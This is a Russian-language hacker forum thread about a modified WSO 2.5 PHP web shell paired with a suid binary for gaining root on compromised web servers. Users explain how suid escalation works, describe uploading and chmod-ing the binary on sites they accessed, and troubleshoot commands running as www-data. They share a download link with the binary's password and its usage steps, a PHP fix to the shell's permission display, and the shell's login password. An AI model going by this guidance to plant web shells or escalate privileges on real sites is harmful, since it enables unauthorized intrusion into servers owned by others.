WSO 2.5 Modified

Discussion in 'Избранное' started by randman, 6 Aug 2011.

  1. Excellent18

    Excellent18 New Member

    Joined:
    4 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    расскажите нубу, вообще для чего это добавление
    что оно дает? :d
     
  2. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Установленный suid-бит позволяет выполнять файл от имени владельца файла, а не текущего юзера. Т.е. если дать суиднику права root'a, то можно будет выполнять команды от имени root'a с любого юзера.
    Ну и следовательно модификация, чтобы более удобно использовать суидник (сохраняя графическую оболочку web-shell'a), а не просто выполнение команд.

    На вин все неправильно работает
     
    #22 Tigger, 29 Aug 2011
    Last edited: 29 Aug 2011
  3. 1NtR0

    1NtR0 Elder - Старейшина

    Joined:
    14 Apr 2007
    Messages:
    235
    Likes Received:
    89
    Reputations:
    35
    WSO не правильно работают на вин ОС, лучше бы это поправили.
     
  4. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196

    Спасибо, сейчас скомпилил, залив на ftp одного сайта(владелец user), сделал chmod 4755, зашел через вебшелл(права apache) - попробовал выполнить суидник - права показываются как апачевские.

    Естественно, предварительно я посмотрел в /etc/passwd какие uid и gid у юзверя моего ftp, которые я вписал вместо рутовских нулей.


    Почему так?




    Что именно?
     
  5. 1NtR0

    1NtR0 Elder - Старейшина

    Joined:
    14 Apr 2007
    Messages:
    235
    Likes Received:
    89
    Reputations:
    35
    На вин права не правильно отображаються, а именно функция:

    PHP:
    function wsoPermsColor($f) {
        if (!@
    is_readable($f))
            return 
    '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';
        elseif (!@
    is_writable($f))
            return 
    '<font color=white>' wsoPerms(@fileperms($f)) . '</font>';
        else
            return 
    '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';
    }
    Багфикс при котором работает правильно

    PHP:
    function wsoPermsColor($f) {

        if(
    is_dir($f)) {
            if(
    $GLOBALS['os'] == 'nix'){
                if(
    is_writeable($f)) {
                    return 
    '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';
                }elseif(
    is_readable($f)){
                    return 
    '<font color=white>' wsoPerms(@fileperms($f)) . '</font>';
                } else    return 
    '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';
            } else {

            
    $tmp $f.'/.ssps_tmp';
            if(@
    touch($tmp)){
                
    unlink($tmp);
                return 
    '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';

            }elseif(
    opendir($f)){
                
    closedir();
                return 
    '<font color=white>' wsoPerms(@fileperms($f)) . '</font>'; }
            else return 
    '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';
            }
        }



        else {
            if(
    $fp = @fopen($f'a')) return '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';
            elseif(
    $fp = @fopen($f'r')) return '<font color=white>' wsoPerms(@fileperms($f)) . '</font>';
        return 
    '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';;

        }

    }
     
  6. Excellent18

    Excellent18 New Member

    Joined:
    4 Jun 2010
    Messages:
    16
    Likes Received:
    1
    Reputations:
    0
    http://www.keep2.me/files/e4b18a2e046706d5e6e8c14f238b05e4/23.11.15-30.08-1278x260.jpg
    вот тут у меня юзер
    antidonat
    а с помощью этого можно сделать другой типа и посмотреть закрытые разделы?

    если не с помощью этого. то как?
     
  7. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Если прорутать, то да.
     
  8. GizmoSB

    GizmoSB New Member

    Joined:
    14 Feb 2010
    Messages:
    75
    Likes Received:
    2
    Reputations:
    0
    не могу найти php интепритатор (( помогите плз как его найти ( freebsd 7.0
     
  9. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Смотрим вывод ps aux - Вообще безпалива!!1

    А так в принципе норм...
     
    #29 Tigger, 19 Sep 2011
    Last edited: 27 Sep 2011
  10. noga

    noga New Member

    Joined:
    19 Jun 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Подскажите пожалуйста. Я использую шел (из первого поста ) + этот суидник ( пост 20 ( Скомпилированный суидник с паролем 112s233: http://rghost.ru/19777451 ) )...

    Но у меня не получается зайти по рутом, я почему - то захожу под 33 ( www-data ) Group: 33 ( www-data ).

    Подскажите, в чём проблема?

    P.S. Ввожу так:

    Suid: ./suid
    Password: 112s233
    Php: /usr/bin/php
     
    #30 noga, 24 Sep 2011
    Last edited: 24 Sep 2011
  11. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    На суидник необходимо установить suid bit.
     
  12. noga

    noga New Member

    Joined:
    19 Jun 2011
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Установлено: 4751

    И ничего не выходит большинство команд не срабатывает, директорий не открывается ;(
     
  13. zenon3

    zenon3 New Member

    Joined:
    22 Aug 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    В первом посте выложена версия в которой невозможно указать путь к PHP. Если это важно выложите версию где это можно зделать.

    Php: /usr/bin/php

    а без этого у меня ошибка вылезает: Query did not return anything
    Are you sure you want to save changes?

    делаю вот так:
    Suid: ./suid
    Password: 112s233

    что неправильно?

    или насколько я понимаю что не везде можно получить root шелл?
     
    #33 zenon3, 27 Sep 2011
    Last edited: 27 Sep 2011
  14. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    поиск пути до интерпретатора php в шелле:
    whereis php
     
  15. vasykas

    vasykas Banned

    Joined:
    7 Mar 2011
    Messages:
    963
    Likes Received:
    137
    Reputations:
    37
    не могу пробить

    объясните пож. все сделал нормально нажал чудо кнопку и:

    [​IMG]
    это значить не пробить.(уже штук на 6 сайтах пробовал
    то же самое :( )
     
    #35 vasykas, 4 Oct 2011
    Last edited: 4 Oct 2011
  16. sevenup

    sevenup Member

    Joined:
    4 Oct 2009
    Messages:
    100
    Likes Received:
    17
    Reputations:
    7
    Кого не пробить ?

    Что у тебя за "./" в первой строке ? это тебе что консоль ? :D
    в первой строке указуется полный серверный путь к суидному файлу...
    Пример:
    /tmp/suid


    P.S. в 20-м посте этой темы, Tigger показал как использовать суидный файл в консоли шела.
     
    #36 sevenup, 4 Oct 2011
    Last edited: 4 Oct 2011
  17. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Помимо суидного бита нужно что бы у файла овнер был root. Иначе толк от суидника никакой)))
     
  18. Falknat

    Falknat New Member

    Joined:
    23 Jul 2011
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    При попытке редактировать файл, часто пишет.

    Соединение было сброшено....

    или выкидывает на каталог с файлами а файл не сохраняет.
     
  19. penguen

    penguen New Member

    Joined:
    23 Jan 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    КАкой пасс для входа в шелл?
     
  20. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    root